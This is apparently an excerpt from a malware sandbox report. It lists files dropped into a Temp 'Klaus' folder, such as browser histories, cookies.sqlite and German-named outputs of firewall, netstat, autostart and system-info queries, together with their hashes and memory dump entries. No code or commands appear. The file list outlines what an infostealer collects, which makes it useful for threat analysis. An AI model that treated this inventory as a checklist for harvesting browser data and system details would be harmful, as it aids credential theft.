SSDEEP 96:bBY/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0:bBY/tH+bF+UI3iWGVYWNkqp3
MD5 SHA1 SHA512 SSDEEP

Submit Download

EdgeHistory

Path C:\Users\Admin\AppData\Local\Temp\Klaus\EdgeHistory
Size 124KB
SHA256 a4cd72e529e60b5f74c50e4e5b159efaf80625f23534dd15a28203760b8b28ab
MD5 9618e15b04a4ddb39ed6c496575f6f95
SHA1 1c28f8750e5555776b3c80b187c5d15a443a7412
SHA512 f802582aa7510f6b950e3343b0560ffa9037c6d22373a6a33513637ab0f8e60ed23294a13ad8890935b02c64830b5232ba9f60d0c0fe90df02b5da30ecd7fa26
SSDEEP 96:hBWU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:hBl+bDo3irhnyTpvVj3XBBE3u
MD5 SHA1 SHA512 SSDEEP

Submit Download

FirefoxHistory_qgf82dd5.default-release

Path C:\Users\Admin\AppData\Local\Temp\Klaus\FirefoxHistory_qgf82dd5.default-release
Size 5.0MB
SHA256 8705120cd2846b17d763e9333cf74974288c88bf8fa8eae81d1ddae1c10eff5c
MD5 12caed5ee922c0d79c139053dd31c280
SHA1 d5b293b9d631c8416a403704f5095361dbf72033
SHA512 129cfa3623f4474b1aad73efe387a1d95e2c0d779a814251c5958e359bd26624fb55b177f491c263e5ed425964ad06b8a0d78956ad7d15119ac35d505fb0fc23
SSDEEP 192:28rJQaXoMXp0VW9FxWHMA8nQitKMUQGJCY:28r54w0VW3xWB8jB
MD5 SHA1 SHA512 SSDEEP

Submit Download

ausgabe_Benutzer.txt

Path C:\Users\Admin\AppData\Local\Temp\Klaus\ausgabe_Benutzer.txt
Size 11B
SHA256 3a32c6b1cdfdfb99083c3a75759704275ae71e91ff51698447f3e8ef5645035e
MD5 f7716d969a6e9340b35c17c1200dc8de
SHA1 726f17fb9f838ecb675461fb070257942b708bc8
SHA512 761726db46627f98eeb91fe94dd1c2e8810d207fda557e7ac865814761139c10f71931576035c3fb4b6a9308992ae6bf78f62bed1d0e986b7a3910b7b254c8f1
MD5 SHA1 SHA512

Submit Download

ausgabe_Benutzer.txt

Path C:\Users\Admin\AppData\Local\Temp\Klaus\ausgabe_Benutzer.txt
Size 4KB
SHA256 66699ce765dc4c7d72c9a81cb07eb5e9a0a801195cc76f141af0445ca6741814
MD5 9236fe1bbbfc6f57f829a49c9d52da43
SHA1 3209e5b668bde4f7b64d2d3660521b5ed291808c
SHA512 ffd3c62e8241491b16c2c2a2f54d8cfc84b3fe657a2dd02dc661112e4966d6b1bad2120db835ba5ba41904cc4470ed862f853d3cee5b731edebec3d158b00166
SSDEEP 96:ZeRQWi6dirIWx3iraWxpdir+WxAAiN8oUWxc:ZeRXDirPJirF1irBHim4q
MD5 SHA1 SHA512 SSDEEP

Submit Download

ausgabe_Firewall.txt

Path C:\Users\Admin\AppData\Local\Temp\Klaus\ausgabe_Firewall.txt
Size 414KB
SHA256 4dc8514bd2ad724efc74da2208c0cf27f4fb6265b8dc05a84c37382cc519eea7
MD5 45453856db1eec0d3b50d35610b94180
SHA1 d6781d5752cc832ff17d9d4cc3ad11f95184c93a
SHA512 cb50315e0bc01cb493e4bb9023b790e79ed178911743591bf56e35e5de9e302167059c761aaa91c68059f1773cba2904fa6011bcf0198f2ea03a4e913fac1936
SSDEEP 3072:6Jrk0kOD3aP+Luu65pMzMHT1uBLnITY9I0wrQHb1CIgBwxBpDb3DDPHEwmwFHQN2:8mwF/W4
MD5 SHA1 SHA512 SSDEEP

Submit Download

ausgabe_Systeminfo.txt

Path C:\Users\Admin\AppData\Local\Temp\Klaus\ausgabe_Systeminfo.txt
Size 2KB
SHA256 eb696923c96bd03699a9f5959ff59e331fae17aede11c6f46eb05da39bc1dc85
MD5 38a13a7fbce22be187ff7fbbfbf51503
SHA1 37d985e23b7ad60e02f88fb9a24a5b4bb2481005
SHA512 b5ca7253444c703f2241eee84f8e252b0f3bbfe352e2e80dad28e3980a6c88b9922a958d54bf5314b56bf008223ce7a8b82235ca4d9d623b88eed41588520753
MD5 SHA1 SHA512

Submit Download

ausgabe_arp.txt

Path C:\Users\Admin\AppData\Local\Temp\Klaus\ausgabe_arp.txt
Size 551B
SHA256 e4d8ce3459ec4e629dc4e586e646d7fcabb33f79bc3973d44189a27d8d2ecdaa
MD5 914c92b49736103b70449a5006f3c710
SHA1 2ef166c8108ada63486012269fa28ffe4c217fd5
SHA512 fc0e7b8a3d51e69b4a84adfde45dfe04ee2508dd01f3d269ce02ba4fa9219e1b59a3c1729017107fb62b3ab9415dba8ae4e30632f742ec0921274d6a70ef63eb
MD5 SHA1 SHA512

Submit Download

ausgabe_autostart.txt

Path C:\Users\Admin\AppData\Local\Temp\Klaus\ausgabe_autostart.txt
Size 1KB
SHA256 2332e748d2b92e2abb58499f5fb12f4fd68ed9ce6ba9af993a873b41010efefe
MD5 794f2bdd0b301cb6ca538dce6253eab0
SHA1 7f7adab8840b19400c86f21fe5cceea2acbec465
SHA512 c35c0958c9a9167fe6d3ab5ed7d163e3b173f716df865b5a20dc78ac3e15adec6f65b2629471b419c04d244473900847bc881469418c56cf3bfb1721b11ab020
MD5 SHA1 SHA512

Submit Download

ausgabe_netstat.txt

Path C:\Users\Admin\AppData\Local\Temp\Klaus\ausgabe_netstat.txt
Size 3KB
SHA256 e4459769e304b9f3dadbb1059e1f3c88564524623a7777dbf2d826ddb1932246
MD5 779af1beed9422eed23276d3b7b4e8ea
SHA1 fadf20747542342df1759069f58ee1a9f511b524
SHA512 0bcc45ba96ccc0a7564299adb8e9ea44e1f2a46ffcb9873dcc8497e4f2070b3c8f3d54ba9b1dba55f1e5eb46d2a88a5cc70745a712b4724b6bef931efe718136
MD5 SHA1 SHA512

Submit Download

cookies.sqlite

Path C:\Users\Admin\AppData\Local\Temp\Klaus\cookies.sqlite
Size 96KB
SHA256 cdd772b00ae53d4050150552b67028b7344bb1d345bceb495151cc969c27a0a0
MD5 40f3eb83cc9d4cdb0ad82bd5ff2fb824
SHA1 d6582ba879235049134fa9a351ca8f0f785d8835
SHA512 cdd4dbf0b1ba73464cd7c5008dc05458862e5f608e336b53638a14965becd4781cdea595fd6bd18d0bf402dccffd719da292a6ce67d359527b4691dc6d6d4cc2
SSDEEP 12:DQD7rD+23Fmdmc/OPVJXfPNn43etRRfYR5O8atLwxeYaNcDakMG/lO:DQDnS232mNVpP965RayKN0MG/lO
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_khl1izwz.utc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_khl1izwz.utc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/112-23-0x0000000006760000-0x000000000677E000-memory.dmp

Download

memory/112-22-0x00000000062A0000-0x00000000065F4000-memory.dmp

Download

memory/112-5-0x00000000730CE000-0x00000000730CF000-memory.dmp

Download

memory/112-28-0x0000000007E20000-0x00000000083C4000-memory.dmp

Download

memory/112-27-0x0000000006D40000-0x0000000006D62000-memory.dmp

Download

memory/112-6-0x00000000031A0000-0x00000000031D6000-memory.dmp

Download

memory/112-26-0x0000000006C40000-0x0000000006C5A000-memory.dmp

Download

memory/112-25-0x00000000077D0000-0x0000000007866000-memory.dmp

Download

memory/112-24-0x0000000006CF0000-0x0000000006D3C000-memory.dmp

Download

memory/112-7-0x0000000005940000-0x0000000005F68000-memory.dmp

Download

memory/112-8-0x00000000730C0000-0x0000000073870000-memory.dmp

Download

memory/112-9-0x00000000730C0000-0x0000000073870000-memory.dmp

Download

memory/112-10-0x00000000057C0000-0x00000000057E2000-memory.dmp

Download

memory/112-11-0x0000000005860000-0x00000000058C6000-memory.dmp

Download

memory/112-12-0x00000000058D0000-0x0000000005936000-memory.dmp

Download

memory/112-31-0x00000000730C0000-0x0000000073870000-memory.dmp

Download

memory/212-56-0x00000000070F0000-0x0000000007182000-memory.dmp

Download

memory/1352-42-0x0000000005B00000-0x0000000005E54000-memory.dmp

Download

memory/2156-0-0x0000000000400000-0x0000000000412000-memory.dmp

Download

memory/2156-134-0x0000000000400000-0x0000000000412000-memory.dmp

Download

memory/2156-81-0x0000000000400000-0x0000000000412000-memory.dmp

Download

memory/4484-119-0x0000000007AD0000-0x0000000007AE2000-memory.dmp

Download

memory/4484-104-0x00000000075F0000-0x0000000007622000-memory.dmp

Download

memory/4484-105-0x000000006F6F0000-0x000000006F73C000-memory.dmp

Download

memory/4484-103-0x0000000007BF0000-0x000000000826A000-memory.dmp

Download

memory/4484-101-0x00000000068F0000-0x000000000693C000-memory.dmp

Download

memory/4484-120-0x0000000007AC0000-0x0000000007ACA000-memory.dmp

Download

memory/4484-99-0x0000000005EE0000-0x0000000006234000-memory.dmp

Download

memory/4484-115-0x0000000007630000-0x000000000764E000-memory.dmp

Download

memory/4484-118-0x00000000078C0000-0x00000000078D1000-memory.dmp

Download

memory/4484-117-0x0000000007740000-0x000000000774A000-memory.dmp

Download

memory/4484-116-0x0000000007650000-0x00000000076F3000-memory.dmp

Download